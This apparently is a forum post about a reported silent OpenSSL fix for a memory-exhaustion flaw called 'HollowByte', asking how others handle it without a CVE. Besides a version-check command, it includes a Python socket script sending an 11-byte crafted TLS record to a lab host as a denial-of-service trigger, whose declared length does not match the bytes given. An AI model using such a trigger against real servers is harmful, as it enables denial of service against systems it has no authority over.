The HollowByte Incident: 11 Bytes, 131 KB Leaks, and Zero CVEs

Hey everyone,

Just saw the write-up from Okta's Red Team regarding the "HollowByte" flaw. It’s wild that 11 bytes in a TLS request can force an unpatched OpenSSL server to set aside 131 KB of memory that never gets freed until the process restarts (at least on glibc systems).

The kicker? OpenSSL supposedly patched this in June, but they did it silently—no CVE, no advisory, no changelog entry. This makes asset management a nightmare. If you're relying purely on CVE scanners, you might have missed this entirely.

To check your exposure, you should verify your OpenSSL build date versus the June timeline. Here’s a quick bash snippet to check your current version details:

openssl version -a | grep "built on"


If you’re running an instance built before June 2026, you are potentially exposed to a very efficient DoS vector. I've been testing this in a lab environment using a modified Python socket script to send the anomaly, and the memory exhaustion happens faster than expected.

import socket

# Conceptual check for the 11-byte anomaly
# Payload: 11 bytes triggering the HollowByte reservation
payload = b'\x16\x03\x01\x00\x0b' + b'\x01\x00\x00\x06\x03\x03'

# Target host and port
host = '192.168.1.10'
port = 443

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(payload)
    print("Payload sent, monitor process memory.")
except Exception as e:
    print(f"Socket error: {e}")

How is everyone else handling the lack of a CVE for reporting? Are you treating this as standard maintenance or a critical patch?